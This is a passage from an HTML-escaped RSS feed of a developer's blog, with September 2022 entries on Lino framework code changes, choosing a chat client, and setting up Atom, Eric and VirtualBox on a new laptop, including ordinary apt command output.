&lt;h1&gt;Saturday, September 17, 2022&lt;a class="headerlink" href="#saturday-september-17-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.code.html#module-lino.utils.code" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.code&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I changed &lt;a class="reference external" href="https://dev.lino-framework.org/topics/utils.html#lino.utils.code.codefiles" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;codefiles()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function to search the
file system for source files. So the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/utils.html#lino.utils.code.analyze_rst" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;analyze_rst()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now gives useful
results.&lt;/p&gt;
&lt;p&gt;Seems that the text “optional arguments:” generated by the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--help&lt;/span&gt;&lt;/code&gt; of
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;optparse&lt;/span&gt;&lt;/code&gt; has been changed to “options:” between Python 3.9 and Python 3.10.
Causes two failures.
&lt;a class="reference external" href="https://gitlab.com/lino-framework/book/-/jobs/3045154005"&gt;https://gitlab.com/lino-framework/book/-/jobs/3045154005&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0917.html</guid><pubDate>Sat, 17 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Which IM client to use?</title><link>https://luc.lino-framework.org/blog/2022/0916.html</link><description>&lt;section id="which-im-client-to-use"&gt;
&lt;h1&gt;Which IM client to use?&lt;a class="headerlink" href="#which-im-client-to-use" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, September 16, 2022&lt;/p&gt;
&lt;p&gt;Sharif and I have been using Discord for quite some time. Because it simply
works. Jitsi didn’t always work well. And then Jitsi has no history at all of
our chat messages. We know that Discord is non-free. It is a compromise. Now it
seems that screen-sharing doesn’t work any more on Discord with my new computer.
Rather than investing time into a non-free software, I thought that we should
give &lt;a class="reference external" href="https://www.signal.org"&gt;Signal&lt;/a&gt; a try.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0916.html</guid><pubDate>Fri, 16 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Thursday, September 15, 2022</title><link>https://luc.lino-framework.org/blog/2022/0915.html</link><description>&lt;section id="thursday-september-15-2022"&gt;
&lt;h1&gt;Thursday, September 15, 2022&lt;a class="headerlink" href="#thursday-september-15-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;This is the first blog entry written on my new notebook computer, a Lenovo Yoga.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;clean&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt; in my blog takes now 1 real minute instead of 3,
&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in book takes now 3m52 instead of 15m48, that’s 3 to 4 times
faster.&lt;/p&gt;
&lt;section id="atom-editor"&gt;
&lt;h2&gt;Atom editor&lt;a class="headerlink" href="#atom-editor" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I used Ubuntu’s snap to install “snappyatom”. But then uninstalled it and
downloaded the deb installer from Atom project instead. Don’t know what snap
wanted to make snappier, and the snappy variant didn’t find my existing atom
config files.&lt;/p&gt;
&lt;p&gt;Oops! Then I saw that Atom is being discontinued! What a pity!&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.blog/2022-06-08-sunsetting-atom/"&gt;https://github.blog/2022-06-08-sunsetting-atom/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.ghacks.net/2022/06/09/githubs-atom-text-editor-will-be-retired-in-december/"&gt;https://www.ghacks.net/2022/06/09/githubs-atom-text-editor-will-be-retired-in-december/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yes, it was predictable.  Atom is a competitor for Microsoft Visual Studio.
Atom was being developed mainly by GitHub. GitHub was bought by Microsoft. It’s
a typical Microsoft strategy for eliminating their competitors: they buy them.
And even a free software product is vulnerable to this when it is being
developed by a single legal person.&lt;/p&gt;
&lt;p&gt;Let’s try Eric. Looks nice, but it keeps saying:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Could not download the requested file from
&lt;a class="reference external" href="https://eric-ide.python-projects.org/plugins7/repository.xml"&gt;https://eric-ide.python-projects.org/plugins7/repository.xml&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Error: TLS initialization failed&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Probably related to the following warnings in the console:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;qt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tlsbackend&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ossl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Incompatible&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;OpenSSL&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;built&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;OpenSSL&lt;/span&gt; &lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;runtime&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;qt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;backend&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;cert-only&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="n"&gt;QSslKey&lt;/span&gt;
&lt;span class="n"&gt;qt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Active&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;backend&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;creation&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ openssl version
OpenSSL 3.0.2 15 Mar 2022 (Library: OpenSSL 3.0.2 15 Mar 2022)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Nah. Sorry, Eric, I’ll stay with Atom right now. I guess that anyway somebody
will continue at least its maintenance.&lt;/p&gt;
&lt;p&gt;Yet another warning:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;python-tools was unable to find your machine’s python executable.&lt;/p&gt;
&lt;p&gt;Please try set the path in package settings and then restart atom.&lt;/p&gt;
&lt;p&gt;If the issue persists please post an issue on
&lt;a class="reference external" href="https://github.com/michaelaquilina/python-tools/issues/new"&gt;https://github.com/michaelaquilina/python-tools/issues/new&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Error: spawn python ENOENT&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Solution: &lt;span class="menuselection"&gt;Edit ‣ Preferences ‣ Packages&lt;/span&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="virtualbox"&gt;
&lt;h2&gt;VirtualBox&lt;a class="headerlink" href="#virtualbox" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;On my new computer I said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install virtualbox
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When I then started VirtualBox on my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.vdi&lt;/span&gt;&lt;/code&gt; file, it said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Kernel driver not installed (rc=-1908)&lt;/p&gt;
&lt;p&gt;The VirtualBox Linux kernel driver is either not loaded or not set up
correctly. Please reinstall virtualbox-dkms package and load the kernel module
by executing&lt;/p&gt;
&lt;p&gt;‘modprobe vboxdrv’&lt;/p&gt;
&lt;p&gt;as root.&lt;/p&gt;
&lt;p&gt;If your system has EFI Secure Boot enabled you may also need to sign the
kernel modules (vboxdrv, vboxnetflt, vboxnetadp, vboxpci) before you can load
them. Please see your Linux system’s documentation for more information.&lt;/p&gt;
&lt;p&gt;where: suplibOsInit what: 3 VERR_VM_DRIVER_NOT_INSTALLED (-1908) - The support
driver is not installed. On linux, open returned ENOENT.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Solution:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt reinstall virtualbox-dkms
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This told me that my “system has UEFI Secure Boot enabled” and prompted me to
enter a password. It didn’t reboot automatically, but my guts told me to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo reboot now
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And during the boot process I had a little menu inviting me to “register” some
“modification key”.&lt;/p&gt;
&lt;p&gt;Next problem:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;The virtual machine execution ran into a non-fatal problem as described below.
We suggest that you take appropriate action to prevent the problem from
recurring.&lt;/p&gt;
&lt;p&gt;The image file ‘/usr/share/virtualbox/VBoxGuestAdditions.iso’ is inaccessible
and is being ignored. Please select a different image file for the virtual DVD
drive..&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Solution:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install virtualbox-guest-additions-iso
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A last remark, it took me some time to re-understand the following informative
message:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;The virtual machine window will be now switched to Scale mode. You can go back
to windowed mode at any time by pressing Host+C.&lt;/p&gt;
&lt;p&gt;Note that the Host key is currently defined as Right Ctrl.&lt;/p&gt;
&lt;p&gt;Note that the main menu bar is hidden in scaled mode. You can access it by
pressing Host+Home&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I checked the “Don’t show this again” checkbox. And later I disabled the “Host
key” in the VirtualBox preferences. I use the &lt;kbd class="kbd docutils literal notranslate"&gt;Right&lt;/kbd&gt; &lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt; key quite often,
so it was disturbing to have it not operate the usual way.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="sphinx"&gt;
&lt;h2&gt;Sphinx&lt;a class="headerlink" href="#sphinx" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Could not import extension sphinxcontrib.yt (exception: No module named ‘sphinxcontrib.yt’)&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0915.html</guid><pubDate>Thu, 15 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 7, 2022</title><link>https://luc.lino-framework.org/blog/2022/0907.html</link><description>&lt;section id="wednesday-september-7-2022"&gt;
&lt;h1&gt;Wednesday, September 7, 2022&lt;a class="headerlink" href="#wednesday-september-7-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I tried once more to upgrade my Tuxedo notebook from Ubuntu 18.04 to something
newer. I ran &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;do-release-upgrade&lt;/span&gt;&lt;/code&gt; multiple times after disabling all the
custom PPAs. Still no success. Tuxedo themselves say quite clearly that I must
rather backup everything and then reinstall a new Linux.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt update
[sudo] password for luc:
Get:1 http://ppa.launchpad.net/libreoffice/ppa/ubuntu bionic InRelease [20,8 kB]
Hit:2 https://installer.id.ee/media/ubuntu bionic InRelease
Get:3 https://download.docker.com/linux/ubuntu bionic InRelease [64,4 kB]
Get:4 https://updates.signal.org/desktop/apt xenial InRelease [2 315 B]
Get:5 https://linux.teamviewer.com/deb stable InRelease [11,9 kB]
Get:6 http://oibaf.tuxedocomputers.com/ubuntu bionic InRelease [3 197 B]
Get:7 http://deb.tuxedocomputers.com/ubuntu bionic InRelease [3 187 B]
Get:8 https://packages.riot.im/debian default InRelease [2 892 B]
Hit:9 http://graphics.tuxedocomputers.com/ubuntu bionic InRelease
Get:10 https://packages.microsoft.com/repos/ms-teams stable InRelease [17,5 kB]
Get:11 http://security.ubuntu.com/ubuntu bionic-security InRelease [88,7 kB]
Hit:12 http://archive.ubuntu.com/ubuntu bionic InRelease
Get:13 https://updates.signal.org/desktop/apt xenial/main amd64 Packages [13,8 kB]
Get:14 http://archive.ubuntu.com/ubuntu bionic-updates InRelease [88,7 kB]
Get:15 http://ppa.launchpad.net/libreoffice/ppa/ubuntu bionic/main amd64 Packages [33,7 kB]
Get:16 http://archive.ubuntu.com/ubuntu bionic-backports InRelease [74,6 kB]
Get:17 http://ppa.launchpad.net/libreoffice/ppa/ubuntu bionic/main i386 Packages [33,7 kB]
Get:18 http://deb.tuxedocomputers.com/ubuntu bionic/main amd64 Packages [23,3 kB]
Get:19 http://deb.tuxedocomputers.com/ubuntu bionic/main i386 Packages [11,6 kB]
Get:20 https://packages.riot.im/debian default/main amd64 Packages [959 B]
Get:21 https://packages.microsoft.com/repos/ms-teams stable/main amd64 Packages [9 361 B]
Get:22 http://security.ubuntu.com/ubuntu bionic-security/main amd64 Packages [2 389 kB]
Get:23 http://archive.ubuntu.com/ubuntu bionic-updates/main amd64 Packages [2 729 kB]
Get:24 http://security.ubuntu.com/ubuntu bionic-security/main i386 Packages [1 233 kB]
Get:25 http://security.ubuntu.com/ubuntu bionic-security/main Translation-en [414 kB]
Get:26 http://security.ubuntu.com/ubuntu bionic-security/main amd64 DEP-11 Metadata [55,2 kB]
Get:27 http://security.ubuntu.com/ubuntu bionic-security/restricted amd64 Packages [884 kB]
Get:28 http://security.ubuntu.com/ubuntu bionic-security/restricted Translation-en [122 kB]
Get:29 http://security.ubuntu.com/ubuntu bionic-security/universe i386 Packages [1 035 kB]
Get:30 http://archive.ubuntu.com/ubuntu bionic-updates/main i386 Packages [1 533 kB]
Get:31 http://security.ubuntu.com/ubuntu bionic-security/universe amd64 Packages [1 228 kB]
Get:32 http://archive.ubuntu.com/ubuntu bionic-updates/main Translation-en [503 kB]
Get:33 http://security.ubuntu.com/ubuntu bionic-security/universe Translation-en [282 kB]
Get:34 http://security.ubuntu.com/ubuntu bionic-security/universe amd64 DEP-11 Metadata [61,1 kB]
Get:35 http://security.ubuntu.com/ubuntu bionic-security/multiverse amd64 DEP-11 Metadata [2 464 B]
Get:36 http://archive.ubuntu.com/ubuntu bionic-updates/main amd64 DEP-11 Metadata [296 kB]
Get:37 http://archive.ubuntu.com/ubuntu bionic-updates/restricted amd64 Packages [913 kB]
Get:38 http://archive.ubuntu.com/ubuntu bionic-updates/restricted Translation-en [126 kB]
Get:39 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages [1 842 kB]
Get:40 http://archive.ubuntu.com/ubuntu bionic-updates/universe i386 Packages [1 625 kB]
Get:41 http://archive.ubuntu.com/ubuntu bionic-updates/universe Translation-en [399 kB]
Get:42 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 DEP-11 Metadata [302 kB]
Get:43 http://archive.ubuntu.com/ubuntu bionic-updates/multiverse amd64 DEP-11 Metadata [2 468 B]
Get:44 http://archive.ubuntu.com/ubuntu bionic-backports/universe amd64 DEP-11 Metadata [9 268 B]
Fetched 18,5 MB in 6s (3 175 kB/s)
Reading package lists... Done
Building dependency tree
Reading state information... Done
62 packages can be upgraded. Run &amp;#39;apt list --upgradable&amp;#39; to see them.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages were automatically installed and are no longer required:
  linux-hwe-5.4-headers-5.4.0-109 linux-hwe-5.4-headers-5.4.0-110 linux-hwe-5.4-headers-5.4.0-113 linux-hwe-5.4-headers-5.4.0-117 linux-hwe-5.4-headers-5.4.0-120
  linux-hwe-5.4-headers-5.4.0-121
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following NEW packages will be installed:
  linux-headers-5.4.0-125-generic linux-hwe-5.4-headers-5.4.0-125 linux-image-5.4.0-125-generic linux-modules-5.4.0-125-generic linux-modules-extra-5.4.0-125-generic
The following packages have been kept back:
  open-eid
The following packages will be upgraded:
  curl element-desktop fonts-opensymbol gir1.2-notify-0.7 libcurl3-gnutls libcurl4 liblibreoffice-java libnotify-bin libnotify4 libreoffice libreoffice-base
  libreoffice-base-core libreoffice-base-drivers libreoffice-calc libreoffice-common libreoffice-core libreoffice-draw libreoffice-gnome libreoffice-gtk3
  libreoffice-help-common libreoffice-help-de libreoffice-help-en-gb libreoffice-help-en-us libreoffice-impress libreoffice-java-common libreoffice-l10n-de
  libreoffice-l10n-en-gb libreoffice-l10n-en-za libreoffice-math libreoffice-nlpsolver libreoffice-report-builder libreoffice-report-builder-bin
  libreoffice-script-provider-bsh libreoffice-script-provider-js libreoffice-script-provider-python libreoffice-sdbc-firebird libreoffice-sdbc-hsqldb libreoffice-sdbc-mysql
  libreoffice-sdbc-postgresql libreoffice-style-colibre libreoffice-style-elementary libreoffice-style-tango libreoffice-style-yaru libreoffice-wiki-publisher
  libreoffice-writer libuno-cppu3 libuno-cppuhelpergcc3-3 libuno-purpenvhelpergcc3-3 libuno-sal3 libuno-salhelpergcc3-3 libunoloader-java linux-generic-hwe-18.04
  linux-headers-generic-hwe-18.04 linux-image-generic-hwe-18.04 linux-libc-dev python3-uno signal-desktop tzdata uno-libs-private ure ure-java
61 upgraded, 5 newly installed, 0 to remove and 1 not upgraded.
8 standard security updates
Need to get 413 MB of archives.
After this operation, 368 MB of additional disk space will be used.
Do you want to continue? [Y/n]
...
update-initramfs: Generating /boot/initrd.img-5.4.0-125-generic
I: The initramfs will attempt to resume from /dev/sda3
I: (UUID=d8772344-2a32-4995-8575-f47bfe8da338)
I: Set the RESUME variable to override this.
/etc/kernel/postinst.d/zz-update-grub:
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo apt remove xserver-xorg-video-nouveau
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libbsh-java libel-api-java libhsqldb1.8.0-java libjsp-api-java libservlet-api-java libservlet3.1-java libwebsocket-api-java libxatracker2 libxvmc1
  xserver-xorg-video-amdgpu xserver-xorg-video-ati xserver-xorg-video-fbdev xserver-xorg-video-intel xserver-xorg-video-qxl xserver-xorg-video-radeon
  xserver-xorg-video-vesa xserver-xorg-video-vmware
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following packages will be REMOVED:
  xserver-xorg-video-all xserver-xorg-video-nouveau
0 upgraded, 0 newly installed, 2 to remove and 0 not upgraded.
After this operation, 328 kB disk space will be freed.
Do you want to continue? [Y/n]
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Checking&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;installed&lt;/span&gt; &lt;span class="n"&gt;snaps&lt;/span&gt;

&lt;span class="n"&gt;Calculating&lt;/span&gt; &lt;span class="n"&gt;snap&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="n"&gt;requirements&lt;/span&gt;
&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;candidate&lt;/span&gt; &lt;span class="n"&gt;ver&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5.4.0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;generic&lt;/span&gt;
&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;candidate&lt;/span&gt; &lt;span class="n"&gt;ver&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5.4.0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;generic&lt;/span&gt;
&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;candidate&lt;/span&gt; &lt;span class="n"&gt;ver&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5.4.0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;generic&lt;/span&gt;
&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;candidate&lt;/span&gt; &lt;span class="n"&gt;ver&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;megasync&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0907.html</guid><pubDate>Wed, 07 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 6, 2022</title><link>https://luc.lino-framework.org/blog/2022/0906.html</link><description>&lt;section id="tuesday-september-6-2022"&gt;
&lt;h1&gt;Tuesday, September 6, 2022&lt;a class="headerlink" href="#tuesday-september-6-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4642"&gt;#4642&lt;/a&gt; is an example of something that would be difficult if Lino were
maintained by a bigger team: modifying the name of a database model.&lt;/p&gt;
&lt;p&gt;This would have caused endless discussions. It’s true that by “just doing it” I
stumbled into a few surprises. But the advantage is that I didn’t even need to
bother the other developers, they will just see the result and feel intuitively
that things are more clear now. Unless I am wrong, which is still possible, but
at least my change has done already a big series of conceptual tests when I
handled all the surprises.&lt;/p&gt;
&lt;p&gt;Another reason why such a change would be difficult: no customer would ever pay
for fixing them.&lt;/p&gt;
&lt;p&gt;One of the surprises was:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;checkdata&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;E304&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Reverse&lt;/span&gt; &lt;span class="n"&gt;accessor&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ContentType.message_set&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;checkdata.Message.owner_type&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;clashes&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;accessor&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;notify.Message.owner_type&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
      &lt;span class="n"&gt;HINT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Add&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;change&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;related_name&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;definition&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;checkdata.Message.owner_type&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;notify.Message.owner_type&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
